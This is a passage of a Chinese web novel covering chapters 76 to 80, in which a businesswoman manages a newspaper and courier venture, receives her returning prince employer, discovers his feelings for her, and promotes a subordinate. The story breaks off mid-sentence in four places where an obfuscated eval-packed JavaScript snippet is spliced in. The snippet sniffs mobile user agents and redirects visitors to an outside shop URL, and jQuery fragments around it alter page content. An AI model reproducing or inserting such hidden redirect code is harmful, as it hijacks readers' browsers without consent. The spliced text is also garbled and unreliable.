“我打听到，西街绸缎庄的掌柜娘子是段家主的忠实拥趸，而临街绣坊的镇店绣娘又和绸缎庄的掌柜娘子不对付，所以我就用段家主的名头先搞定了绸缎庄，再利用两人互不相让的心态搞定了绣娘。燕双楼的花魁地位已经不稳，急需一些话题和热度，其他人也大多逃不过‘名’之一字的诱惑，一听说能和段家主搭上点关系，且是头10位名额，没多犹豫就答应了。” “人性的弱点算是被你玩明白了。”莫林知毫不掩饰自己的赞赏和佩服，“后面还是辛苦你，多盯着点，别出了乱子。创作部那边的稿子出来以后你也一起看看，有什么想法直接提。” 齐铭愣了一下，疑惑看去，对上了一双意味深长的眼神。 “怎么了？”莫林知明知故问。 齐铭想想最开始莫林知交代的“大家各司其职，不要僭越”之类的条例，还是将猜测放在了心里。 他微微摇头，笑容如常：“无事，我会多上心的。那······没有什么吩咐的话我就先下去了。” “嗯，有时间顺便把这边的广告策划业务框架也搭出来，能者多劳，你辛苦点。” 如果说刚才还只是些微苗头，那这句话就是明晃晃的放权了。齐铭眼神微闪，悉数应下，然后带着人离开。 莫林知继续关在会议室埋头苦干。 正在一份名单上思忖，入耳响起一阵茶水撞入杯子的声音，她以为是晚香，没在意，直到一个熟悉又陌生的声音恍若彗星撞地球般撞入脑海： “这么快就开始做南下的规划了吗？” 莫林知思绪一顿，猛地抬头，果然见到了那张久违的脸，脸上的“不敢置信”瞬间转为“乍然欣喜”，她激动地起身，慌乱之下甚至撞翻了身后的椅子：“王爷！您回来了！” ——有一说一，莫林知这反应还是很好地安慰到了萧衍，否则，他真的要怀疑自己这辈子是不是只能孤独终老了。 萧衍上前扶起椅子，做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245856|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一副端详的神情，而后揶揄道：“这才多久，怎么就感觉你沧桑了一些。” 莫林知耸肩：“正常，上一天工减十年寿，等到我功成身退，到时候又是花季少女一枚了。”说完仔细看了看眼前的人，关怀道：“王爷这一行可还顺利？没受伤吧？” “没有。” “那就好，这下太妃娘娘可以安心了。”莫林知松了口气，转而开始收拾桌上的东西，一边收拾一边巴拉巴拉说个不停，“王爷回来有落脚的地方吗？我们在这附近租了个院子，还有空房。对了，那边还有个新鲜物件要给王爷看看······” “我知道，自行车，对吧？过来的时候在路上看到了。” 莫林知不妨他已经知道，愣了一下，随即叹出一口气：“看来是给不了您惊喜了。” “不会，我只是远远看见了，就等着你给我安排一件好好体验下。”萧衍十分捧场地露出期待的表情，上前帮着莫林知收拾。 “谢谢~”莫林知将包包背好，然后走到门外，交代晚香和萧凛两人去白玉京叫上几桌席面，然后让其他人早点做完事情早点下工。 安排好事务的她最后看向身侧的男人：“路途不远，我们每天基本都是步行，王爷要是不介意，今天也一起走走？” 萧衍从善如流：“听你安排~” 两人在一群或激动或淡定的眼神中出了门。 这边地址选得偏，且因为还没到惯常下工的时间点，路上除了稍许摆摊卖吃食的，没什么人。 路过一家甜水摊子，莫林知突然想起——自萧衍出现，她都没好好给人倒一杯查，也没问人渴不渴。 停住脚，她不好意思地笑了下：“见到王爷太过开心，都忘了问您风尘仆仆地赶回来是否要用杯茶水。这家的毛蔗水味道清甜，您要不要试试？” 萧衍闻言，露出一个奇异的，有点复杂的神色，确认道：“你见到我，真的开心？” “当然！”莫林知毫不犹豫点头，“王爷在的时候，给了我诸多庇护，也帮我解决了很多麻烦。我不是那等没心没肺的人，当然会希望您早日归家。再说了，后续很多规划也想和您这边商讨商讨，以免我的无知乱了您的整盘谋局。” 这话发自肺腑，她自然而然就说出来了，不用费心编辑。所以，说的时候，闲暇的大脑就在不停地思忖萧衍突然这么问的原因。 ——不要忽略老板的任何一个反常，尤其是这种关系到忠诚和信任的苗头，一定要及时掐灭，否则后患无穷。 事出必有因，萧衍这么问，肯定是有谁说了什么。而据她所知，萧凛是一直飞鸽传书给人同步消息的。 是萧凛说了什么？不至于吧，她和萧凛之间按理说没什么利益冲突的。还是说······萧凛和林显之间有什么矛盾，所以想通过她来隔山打牛？？？ 想想平时萧凛那副直爽的性子，莫林知头一次对自己看人的眼光产生了怀疑······ 77. 醒悟 莫林知心里的疑虑一直到晚饭时间都还未打消，萧凛回到宅院的时候，面对的就是她时不时瞥过来，又或者趁他转身时投过来的打量眼神。 萧凛：“？？？” 萧凛：“······” 莫管事是不是觉得他转过身就看不到她偷偷摸摸的眼神了？ 萧凛哭笑不得的同时又极度疑惑——主要是莫管事那眼神可不像善意的啊，分开前还好好的，怎么回来就180°大转变？难道是他这段时间有什么没做好？还是······ 萧凛狐疑的目光投向萧衍——就这短短几个时辰，王爷给莫管事说了他的不是？ 萧凛不是个喜欢藏着掖着的人，趁萧衍喝多了离席去放水的机会，萧凛立马也放下酒杯，跟了上去。 茅厕不远，出门拐个弯就到了。萧衍正要推门进去，余光瞥见身后一个高壮黑影，瞬间汗毛全炸开了，再一眼看去才发现是萧凛。 萧衍：“······” 他没好气道：“你干嘛？不声不响跟在后面。” 萧凛哼哧哼哧半天，才磨磨唧唧地开口：“王爷，您是不是对我有些不满意？” 萧衍：“什么？” 萧凛：“那要不就是······莫管事对我哪里不满意？不然她为啥突然就看我的眼神寒光冽冽的？忒吓人了！” 萧衍有些无语，掌管北境这几年底下人都被驯服了的烈马似的，有啥不和就私下打一场解决了，如果打一场还不行，那就再加一顿酒，双管齐下，保管第二天醒来称兄道弟。这还是第一次有下属“告状”告到面前的。 瞅瞅眼前这高大威猛的汉子脸上潜藏的委屈，萧衍顿觉一阵牙酸······ 不过酸完之后，他还是好好回忆了一下，然后······就大概知道是怎么回事了······ 有点挫败，还有些无奈。 是他草率了，只觉得莫林知对男人的态度过于反感，所以才想确认自己在她心目中的位置，却没考虑到在莫林知的眼里，他就是一个“东家”，还算不上是“男人”。 心底叹了口气，萧衍面上一如既往地稳重靠谱，他摆摆手，道：“没事，就是一点小误会，我会解决的。” “那就谢过王爷了。我还挺喜欢在莫管事手底下做事的，就怕她对我有想法要调离我。”萧凛嘿嘿一笑，心满意足地离开。 他这一说，萧衍心里的挫败又立即被高兴取代。 高兴这样一朵天山雪莲，在它展露天人之姿之前，就被他慧眼识珠，抢先一步移回了宅院中。 抱着复杂的心绪，萧衍小解完回到席面上都再未饮下一杯酒。 晚饭结束后时间还早，莫林知见萧衍眼神清亮，神色沉稳，不像喝醉的样子，就请示了一下，看他是想回院子休息，还是去里院体验下自行车。 萧衍自然是选了后者。 于是莫林知让晚香留下给萧衍整理休憩要用的东西，她一个人带着萧衍去了后院。 这几天大多时间与莫林知形影不离头一次被丢下的萧凛：“······” 莫管事果然是对我有意见吧！！！ 后院已经摆了十好几辆自行车，大的小的对半开。魏安不在，喝了酒有点晕的他已经休息去了。所以现在，只有莫林知这个“创造人”亲自讲解。 “您看，这个是车把手，掌控方向，车把手这里就是刹车，我们测试过，不管多块的速度都能立马急停。不过刹车片会有磨损，所以需要定期更换。您踩着轮子就能往前了，放心，您腿长，摔不着。” 莫林知说完自己随手拎了一辆座椅离地近，更适合女性的车子，骑上去示范了一遍。 萧衍看着她的动作，眼中划过一丝深意——明明穿着北境的服侍，和当地女子形象毫无区别，可是，骑在车上的时候居然和这个奇异的家伙什毫无违和感，尤其是眯着眼仰着头，双手张开一脸享受的时候，这个自行车简直像是为她而生！ 是因为这是她创造的吗？还是······有别的原因。 莫林知心血来潮在萧衍面前秀了一把技术，丝毫不知这么个动作差点把自己老底子卖了。一圈结束回到原地，她笑吟吟地看着萧衍，面带鼓励：“王爷试试？” “好。”萧衍低眉敛目，腿一蹬，车子平平稳稳地骑了出去——竟然连个适应过渡期都没有。 莫林知下巴都要惊下来了。 萧凛的武功也很强啊，可他当初也是花了一圈才掌握的。 “王爷，您不会是回来之前已经骑过了吧？”莫林知不敢置信地问 “没有。”萧衍一圈快速骑回，稳稳单脚撑地停在她旁边，笑得有些少年意气，“认输吧，有些人就是天赋异禀，不用太嫉妒。” 莫林知：“······” 不太服气地抿抿唇，她下了车，决定还是从自己擅长的地方找回场子：“这个单人的比较适合城内送送轻便的货物，之后我还想做一种双头车，就是前面可以两个人骑，后面接一个马车那样大小的箱子，方便运送大件货物，您觉得怎么样？” “不错，你一向很有想法。” “是吧~不过木质的运送大件货物始终不太牢靠，损坏率很高。所以这部分我想用精铁来做。”莫林知说着，见他眉头微微皱起，立马加快语速解释，“当然，我不会动用北境的铁矿库存。我想着将这个图纸拍卖出去，然后怂恿其他地区的人一起参与制作买卖，然后我作为合伙人，可以从各个地区以低价挪一些份额出来，这样，我北境的交通工具自然也有啦~~” 萧衍对此持保留意见：“木质已经足够用，换成铁······他们不一定愿意。” “他们会愿意的。因为这个是飞毛腿的重要工具，他们作为飞毛腿的合伙人，一定会想方设法降本增效，多多生财。” 萧衍挑眉，立即懂了她的未竟之意：“你想和他们合作开发飞毛腿？” 莫林知点头：“我想要快速完成这张网，最好的办法是集天下之力量。看似利润会被分薄，可实际上，只要这张饼够大，每个人收到的回报就会比原来更大。” “不过这部分的规划我还在完善，具体实操上也有很多需要和您一一核实——” 萧衍作了一个打住的手势：“既如此，这部分等你完善好我们再统一商谈。先好好把目前手头的收尾，然后尽快回定安城。” “行，我尽快安排。等这一期的丽颜营销企划结果出炉我们就能返回，后续的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260156|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自行车体验大会什么的交给萧凛他们，差不多10天，我们就能启程。”莫林知快速做出调整。 按照原定计划，她是要在这里呆到自行车体验会结束，然后回收所有车子，带着所有人马返程的。现在嘛······当然是老板的需求放第一位了。 不过也没啥影响，最关键的丽颜营销盯一下，后面的应该出不了什么乱子。 自行车体验过了，工作的事也统一了方向，自觉今天已经圆满的莫林知最后对上司发出了休息的邀约：“那······王爷，咱们今天要不早点歇息？” 萧衍有些睡不着，但也不是很想继续和她谈公事，这只会一遍遍提醒他，她对他是真的半点男女之情都没有······ 无可无不可地点点头，两人一起回了各自的小院子。 站在房间，莫林知摸了个杯子，给自己倒了杯水，然后对着烛火发呆——她在复盘今天萧衍的一言一行。 在以前，她一直有复盘的习惯。因为老板不好搞，公司内部高层倾轧时有发生，所以每天下班，她就喜欢在脑子里复盘事务的处理是否有漏洞，对上对平级之间的应对是否得当，以及别人的反馈是否有什么信息是她遗漏的等等。 刚开始和萧衍合作的时候，她也曾有这个习惯。后来，发现萧衍是真的能做到“用人不疑”的坦荡君子，她就慢慢地舒适躺下了。此后哪怕还会复盘，也仅仅是针对今日的工作。 但是今天的萧衍······真的很不对劲。 从见面开始，那个表情······好像有点忐忑？！ 还有街上说那句话时，好像也不像是疑心底下人的忠诚，反而有点像——以前她朋友异地恋，两人久别重逢时说的话。 莫林知被脑子里出现的念头吓了一跳，激动之下茶水都打翻了。 晚香进来的时候就看到桌子和地上淌着水，她连忙将杯子放好，然后找出抹布收拾：“莫管事，您怎么了？” 莫林知惊醒，回神：“没事儿，就是有点恍神。” 晚香纳闷地看了她一眼，心想你这满脸惊惶掩都掩不住，谁信呢······ 不过她识趣地没追根究底，而是拎了壶开水进来：“莫管事，咱们也洗洗睡了？” “······你把之前段家主让我们转交的那盒雪耳找出来，我给王爷送过去。” “现在？”晚香有一瞬讶异，不过没多嘴，利落地从柜子里翻出盒子交到了莫林知的手上。 莫林知打开看了眼，然后捧着盒子出门了。 萧衍回了房之后，在晚香的伺候下洗漱完又换过了衣服，身体的疲惫随着屋内的热气一道翻涌上来。 可脑子有它自己的想法，怎么也睡不着。 躺在柔软舒适的床上，不管是闭上眼还是睁开眼，脑子里全是今天在段家听到的那些话。 有点超出他对莫林知的认知，也超出了他的常识。 但······想想她往日做事的那利落劲儿，好像又不奇怪了。 现在的问题是，要怎么让她尝试接受自己。 正苦恼着呢，房门被敲响了，紧接着，一个魂牵梦绕了无数日子的声音响起：“王爷，方便吗？有个东西要给你。” 78. 摊牌 听到声音的那一刻，萧衍有一瞬以为是自己日思夜想，意念太强烈，以至于招来了什么精怪。直到门外又一声“王爷”传来，他才确认，真是莫林知。 下床披了件外套，萧衍上前开门，莫林知还穿着白天的衣服，捧着个盒子。不知道是不是月色太朦胧，他恍惚觉得面前这张凌厉的面容表面好似蒙上了一层说不清道不明的东西。 他的心乱了一瞬。 “有事？” “嗯。这个是段家主托我转交的雪耳，听说很是名贵。既然王爷您来了，不如自己保管？”莫林知说着不好意思地笑了下。 萧衍的视线又落到面前这个盒子上。 表面熟悉的段家家族印记，又让他想起了白天的事。 他知道，理智的做法，是他先收下，等回去了，再转托母亲，借她之手赐予莫林知。可······有必要吗？ 或者说，莫林知此时此刻为了这一盒东西站在这里，就真的半点没有揣测吗？ 萧衍再次对上那双清冷如水的眸子，眯了眯，似乎想将之看得更真切些，好让他知道下一步该怎么做。 可突然间，心里一股不甘涌了上来——他的心意难道是什么脏东西吗？连光明正大摆在她面前的资格都没有？ 被这一股郁奋冲击，有些话自然而然就说出来了： “这盒雪耳，本来就是给你的。你收着吧，晚香知道怎么处理。” 莫林知：“！！！！” 心里那个最不可能的想法被证实，她不由自主睁大了眼，嘴唇微张，想说什么，却有什么都说不出口。 直接问“你是不是喜欢我”？太快了！她自己的答案都没想好，万一对方回答了，难题就抛到了她这边。 又或者拒绝这盒雪耳？ 这个念头转入脑子里，莫林知嘴唇抿了抿，也说不出口。 而对面萧衍也没有再开口说点什么的意思。两人就这么隔着门槛对视了一会儿，最终，莫林知在脑子里喊了声“卡！”，匆匆说了句“谢谢，告辞，晚安。”，转身离开。 看着那个堪称“落荒而逃”的背影，郁闷了一天的萧衍终于扯开嘴角，笑了。 这一晚，因为两个人都“勇了一把”的神操作，原本失眠的人倒头就睡了，而本该安眠的人瞪着眼睛，在黑暗中一直躺到天明。 她就不该去求证这一波！ 退一步想，她就不该这么多疑，搞什么复盘？萧衍的人品比她这个有“被害妄想症”的人好多了。人都能“用人不疑”，她却稍有风吹草动就开始动摇信任——哦，不对，这个“用人不疑”，可能也没那么高尚，说不定是掺了私心的。 而且她为什么要自己送过去？就算想求证什么，让晚香跑一趟，也好过这么面对面的······这下好了，底.裤都没了。 脑子里纷纷乱乱地想了一晚，直到晚香起榻，穿衣，敲了敲她的床柱，莫林知发现，她还有一个更严峻的问题来了——又到了不得不面对萧衍的时候。 咋整？她能把早饭一起带去《见闻》那边然后把门锁死吗？？？ 莫林知翻了个身，懊恼地将脸埋在了厚厚的被褥中，无声哀嚎。 “莫管事？”晚香见里头没动静，又叫了一声。 “嗯，马上就好。”莫林知生无可恋地从被窝里掏出今天要穿的衣服，慢慢穿上，然后掀开了帘子。 正在准备洗漱用水的晚香看见她浓黑的眼圈和一看就没休息好的苍白脸色，吓了一跳：“您是不是身体不舒服？我去叫个大夫。” “不用不用。就是晚上想事情太入迷，不知不觉就耽搁了睡觉。” 晚香一听，一张脸立马就垮了：“事情是永远做不完的嘛，您这样，身体早晚吃不消的。” “知道了······”莫林知有气无力地应了一声。 之前晚香也没少念叨，每次莫林知都是生龙活虎地作揖讨扰，一叠声的“知道了知道了~”，这种反应还是第一次。本来已经放下心的晚香皱了皱眉，上前抬手，在莫林知额头贴了一下： “没有发热，声音也正常，莫管事，您真的没事儿？” “放心吧，真有事情我不会强撑的。”莫林知深呼吸一口气，勉强打起点精神。 两人用过早膳出门，萧凛一如既往，在门口等着了。 莫林知走过去，见只有他一人，松了口气之余，又有些担心：“王爷呢？” “他带着亲卫去方家那边验收药材了，还有过冬的粮草，也要再给边军那边运一些，所以这几天应该不会和我们一起行动。不过王爷交代了，10天后一起返回定安。” 莫林知不知道对方是真的有事还是出于体贴，不管怎么说，从结果上而言，她确实松了很大口气。 纠结了一晚上的尴尬没了，心定了，莫林知眨眼间又是那个精神爽利的莫管事。 带着下属往《见闻》的方向走，莫林知的嘴角不自觉地微微翘起。 她居然在一个权贵的身上看到了那种绅士感。不止没有以势压人，反而恰到好处地退了一步，给她保留了一些空间和距离感。 这一刻，莫林知不得不再次承认——萧衍比别人要聪明很多。 这种对人性的把握，对权势的克制······一般能走上高位的，都能做到前者，可愿意做到后者的，凤毛麟角。 不愧是她选定的东家~这么看，她看人的眼光还是一如既往的犀利嘛~~~ 一想到这里，莫林知就想起昨天对萧凛没来由的猜疑和误会了。不太好意思的她看见街边有热腾腾的鲜榨豆浆，上前买了三筒。 “给~”莫林知冲萧凛灿烂一笑，等他接过，歪头想了想，又要了二十筒。 看着萧凛一个人就拎了10筒豆浆，本来是想暗暗道个歉，结果又让人当了回苦力的莫林知抬手蹭蹭额头，懊恼地眨了下眼。 好在这里离办公小院不远，很快一行人就到了。将东西放在院子里的石桌上，莫林知拍拍手，朗声叫大家出来喝豆浆。 “原味的，咸口的，还有加红豆泥的，你们自己挑~” “哇~谢谢莫管事~~” “不客气，这段时间大家也辛苦了~”莫林知笑眯眯的看着他们，“剩下的你们各自分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13278266|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。齐铭，你等会儿来趟会议室。” “好。” 见莫林知就要离开，创作部两位立马举手示意：“莫管事，我们那篇稿件写完了~” 莫林知步履不停，转头笑了下：“交给齐铭，让他一起带进来。” “是~”两人脆生生地应了，转回头，看着聚众喝豆浆的同事们，其中一人挤眉弄眼：“你们有没觉得，今天莫管事心情很好~” “有吗？她每天都笑容满面啊~上次丽颜的销量那么不好都没见她变个脸······”说这话的人打了个哆嗦，“情绪稳定得吓人，虽然佩服，但，感觉真不是凡人能做到的。” 话音刚落，就被白了一眼。 几个人中，身为“老员工”的陈诚突然开口：“确实不一样，平时笑意只停留在嘴角，跟焊上去的一样，今天眼睛都是弯的。” “是不是！！！我就说嘛，我的观察力不会错的。拿笔杆子的人对人的情绪最敏感了！！！” 几个人小声讨论着。无伤大雅的事情，就算说说也没什么，大家都知道，莫管事不会计较。不过再往下猜，就涉及到个人隐私了。 喝完豆浆，准备进去述职的齐铭敲了敲桌子，语带提醒：“适可而止。” 轻飘飘又重若万钧的语气，其余人立马噤声，转而说起其他的。 虽然从定安城一起来的有几个人，但，谁都看得出，莫林知最器重的是齐铭。当然，齐铭的能力也是很让人信服的，要不然，大家不会这么听他的。 齐铭收拾了自己的东西，然后带着两版稿子推开了会议室的门。 进去时莫林知正在和萧凛说着事情，齐铭就安静地挑了另一边的位置坐下聆听。 “体验大会结束，车子你盯着点，全部销毁，不留一部。包括飞毛腿日常用的，也全部烧掉。还有魏安，这个人我会提前带回定安城。” “行。” 对萧凛交代完，莫林知让他和晚香都出去，然后看着齐铭，脸上露出一丝郑重。 这在莫林知脸上是少有的情绪，齐铭见状，一颗心也忍不住悬了起来。 “因为一些原因，我要提前回去了，这边就要麻烦你多盯着点。” 齐铭点头：“没问题的，我一定圆满完成任务。” 莫林知摇摇头：“不，我是想说······你是否愿意留在沧澜城，担任这边的主事人。” 突如其来的升职，让齐铭愣了。但好像又不是特别惊讶——早在昨天那些放权端倪显露出来时，他的心理就有过好些猜测。相较之下，“主事人”的岗位，反而是高于他的预期的。 只不过这是一项长期认命。如果他答应，估计近期几年都要驻守沧澜了。 齐铭脑子里刚意识到这一点，下一秒，莫林知就再度打破了他的固有观点： “我留下你，其实也不仅仅只是让你看着沧澜这一摊子。你见过沧澜的从无到有，知道这个过程可能会有的问题，也能很好地举一反三，完美处理。所以我希望，沧澜稳定之后，你可以继续前往下一个主城，一步一步，把整个北境的业务都捏在自己手里。” 79. 升职 整个北境要交给他？ 齐铭彻彻底底愣了。 他从不怀疑莫林知话中的真实性，只是······他一直以为，莫林知心属的那个人是晚玉。 脑子里就像有巨浪拍石一样，全是炸开的水花。好半响，回过神后，他看着一直注视着自己，等着自己答案的人，嘴唇张了张，发现喉咙有什么堵住了，声音发不出去，于是赶紧点了点头。 用力地，狠狠点了头。 然后他看见，面前的人似是松了口气，舒心地笑了。 “不用太有压力，有任何问题随时联系，我和王爷都是你坚实的后盾。”莫林知冲他笑笑，再给他打上一级强心针，“开过年我就会带人南下扩展《见闻》了，如果在那之前你能将北境拢在手里，到时候，南下你有优先选择权。内部晋升不管什么时候，你都在第一顺位。” “······我以为，您最属意的人选是晚玉。”一直最低调圆滑的人，还是把这个疑问问出来了。 因为莫林知的反馈给了他坦诚的勇气。 不出所料，莫林知也大大方方地点了头：“我确实会偏心晚玉。因为性别原因，也因为她自身有天赋又肯上进，我喜欢这样的人。所以每天晚上，我做规划，做项目，都会带着她一起，给她开小灶。但，也仅仅是如此，脑子里的东西是我的，我想给谁就给谁，这个不算太违规吧？至于其他的，该怎么样就怎么样。你学东西快，处理事情更有大局观，这个位置，给你更合适。” “谢谢。”齐铭发自肺腑地道了声谢，为莫林知的坦荡，也为她的公平公正。 他起身，恭敬地行了个极庄重的礼，对莫林知立誓：“我保证，一定圆满完成任务。” 他这么郑重，莫林知反倒笑了：“不用这么紧张，保持你之前的水准，没问题的。” 莫林知让人起来，然后交代了后续的事务安排，两人商定之后就一起出门，对外公布了这件事。 大家接受度良好，包括一起跟来的陈诚他们，也笑呵呵地接受了，看不出有异议的样子。至于心里怎么想，那就是齐铭要面对的了。 大家同一期进来，有人坐上火箭，有人原地踏步，心里毫无波澜是不可能的。可从莫林知的位置出发，“能者居上”就是她尽力能做到公平。 只能说，这个世界上其实大多数都是踏踏实实的普通人。能坦然接受自己的普通，保持乐观的心态，一步一个脚印向前，也是另一种，具有大智慧的人。 生活都不易，应该适当地放过自己。 因为这一突然的升职令，整个办公室都陷入了一种欢庆的氛围。大家都围在了齐铭那边，说着讨巧的话。齐铭也不是小气的，当即承诺中午从白玉京叫上一桌，大家虽然事务繁忙，但中饭反正是要吃的，也不耽搁什么。 “这个好。就是白玉京点上几个招牌再添几碟小菜，也要六七两了。齐哥大气！” “那我可就等着这一顿了~嘿嘿，蹭蹭齐哥的喜气，希望我也能早日升职加薪~” 这话一出，立马遭到其他人的“围攻”，大家纷纷叫嚷着一定比他先，让他挠心抓肺去~~ 不过，本来还有些微妙的氛围，在这人带头坦荡地表露出了自己的野心后彻底消融了。 正如他们自己所说，能被选进来，谁又比谁差呢？好好做，机缘总会到自己的。 一群人边做事边“你争我抢”的呛上两句，整个办公室热火朝天。而话题中心的人，借着请客的名头，默默出了门。 走在安静的街道上，呼吸着已经有几分寒凉的空气，齐铭只觉得这些年兜兜转转累积的那些郁气，一点点消散了。 应聘《见闻》之前，他其实刚被辞退没多久。 原掌柜······不是个坏人，只是担心自己的地位不保，被他取代，所以招来自己的侄子，故意抓他小辫子罢了。 这样的事情，他已经不是第一次遇到。年纪小的时候还没那么显眼，等到十五六岁，就容易引起警惕了。尤其刚开始他不懂得隐藏，没少得罪掌柜。最难的一次，是被诬陷偷了主家的货物，赔光了积蓄才脱身。 所以刚开始进入《见闻》，他一直是担心的。既担心自己以往的事情被扒出来，莫林知辞退他；又担心自己抢了晚玉的风头，让莫林知不痛快。 没想到······没想到······ “哈哈哈哈哈哈，老天爷待我不薄。”齐铭小声笑着，眼眶悄悄红了。 男儿有泪不轻弹，只是未到伤心处。 这一刻，他再不后悔过往那些年为了偷师而受的委屈，也不会再怨恨这世道的不公。如果遇到的那些糟心人，糟心事，是为了历练他的心性和处事能力，为了有朝一日能在对的东家面前一展所长，那······他愿意。 齐铭长叹一声，随后扬起春风和煦的笑容，大步向前！ 公布了这项人事命令之后，莫林知就没再直接和下面的人沟通过工作事宜。有什么事情都是直接拉着齐铭和萧凛一起谈，剩下的交由他们自行安排，她只负责验收最后的结果。 这样的好处就是她的时间大部分都空出来了，可以好好完善下个月底的拍卖会以及后续的南下计划。 而齐铭和萧凛之间的配合也让他很是放心。两人都清楚她的习惯，每天下工前1个小时，都会一起来找她过今天的事项进度。 比如城内最大的那家飞毛腿主店已经焕新完毕，约她明天的时间上门验收，如无意外，其他门店就按这个标准慢慢替换了。 这件事对应到齐铭这边，就是他手上的一些宣传稿件已经定稿，但是为了保证准确性，他希望明天能带着两个主笔一起去主店现场勘探下环境，然后做下细微的调整，最终的稿件定下来后再送往段家，让段家主提前看看“剧本”。 每一天的进度，需要和飞毛腿那边配合的事项，全都清清楚楚。 就这样磨合了几天，莫林知心里是再无任何犹疑。 时间就这样来到了飞毛腿门店2.0升级版重新开业的日子，也是段家主亲自登门的这天。 好歹是焕新升级，得让街坊邻居知道知道，这飞毛腿这几日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292288|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底在干啥。所以一大早，萧凛还是让人意思意思地放了一挂鞭炮，然后让跑腿们各自带着几百份单页出门了。 很快，跑腿所到之处，大家都知道——飞毛腿门店可以免费试吃免费试用了。白送上门的便宜不要白不要，很多人拿着单页就冲着门店去了。 莫林知和段家主约的时间是上午，预估客流最大的时候。她带着齐铭，提前了半个时辰到达门店。店里可以说是人山人海，挤都挤不动。 幸好，她设置了一个二楼贵宾室。 段如意也是，比剧本安排的还浮夸，叫了6个汉子开路，挽着未婚夫方小少爷，众目睽睽之下走了进来，那轰动效果，刚才还人声鼎沸吵闹不休的人们瞬间安静如鸡······ 直达段如意一行人都上了二楼好半天，底下人才慢慢找回声音。 “哎你们说，段家主来这儿干嘛呢？” “谈生意呗~” “你傻啊，你没见他们是小俩口一起来的，还穿得这么喜庆，叫我说，是来置办嫁妆的。” “不可能，什么嫁妆需要劳动他们亲自来置办，这城里多少掌柜盯着呢，指不定老早上门去谈妥了。” 楼下窸窸窣窣的讨论半点没有影响楼上。既然把人招来了，莫林知自然不会水都不给一杯。整个二楼，直接拉了几个长桌，类似自助一样，一桌是生鲜水果，一桌是手工玩意儿，还有什么家具家纺之类的样品，全都摆上了。 莫林知一边走一边给人介绍：“东西都是昨晚刚采摘运上来的，吃个新鲜，段家主要是有什么看上的，只管说，我给你个好价钱。” 段如意闻言，嗤笑一声，又白了她一眼：“我还以为你要说送我一份，搞了半天就这诚意，真是······忒小气。” “小本生意，多包容吧。”莫林知悠悠叹着，亲自给她插了块水果，“尝尝，我最近就爱这个梨。清甜不腻，果肉细腻绵绵，稍微冻一下就是天然的沙冰。” 段如意咬了一口：“确实不错，还有什么推荐的？婚宴上的水果要不都从你这儿买了。” “有的，齐铭，你给推荐一下吧。” 段如意一听，转头看去，发现是个生面孔：“这位是？” “《见闻》沧澜城的总负责人，也是整个北境负责人的第一候选。我过几天就走了，后面是他和你们打交道得多，还请段家主和方少爷多关照了。” 随着莫林知的介绍，齐铭适时上前一步，露了脸：“我见段家主口感偏甜，这款西瓜应该是您喜欢的，也是脆甜的口感。说起来，这个还是今年的新品种，那户农家前几年种瓜，有一垄地没及时回收就烂在地里了，没成想，第二年它自己又长了出来，而且不知道是经过哪位神仙点化，这味道，口感，竟还有了翻天覆地的大变化······” 齐铭巧舌如簧，一个西瓜的故事被他娓娓道来，有一种在听有声版《见闻》的感觉，逗得段如意前俯后仰。就连方家小少爷都忍不住笑着尝了一块。 莫林知微微一笑，不着痕迹后退一步，将此方舞台让给它的主人。 80. 说开 大约一个时辰后，段家主和方家少爷带着人满载离开。之前威风凛凛开路的6个汉子，走的时候那是大包小包挂了满手，半点气势也无了。 有那还留在一楼的顾客，瞅见那么多东西，就忍不住拉住了一个小二：“段家主他们到底是来干啥的呢？” “置办嫁妆啊~这些日子《见闻》上面不是登了好多产品嘛，尤其是那个丽颜的黛笔胭脂，听说太妃娘娘都夸好，所以段家主就跟我们管事说想来看看。这不，正好门店今天升级，管事的就在二楼摆了个私人品鉴会，专门供段家主一人挑选。” “啧啧啧啧，整个二楼服务她一个人啊？真够奢侈的。要不也让咱上去看看？” 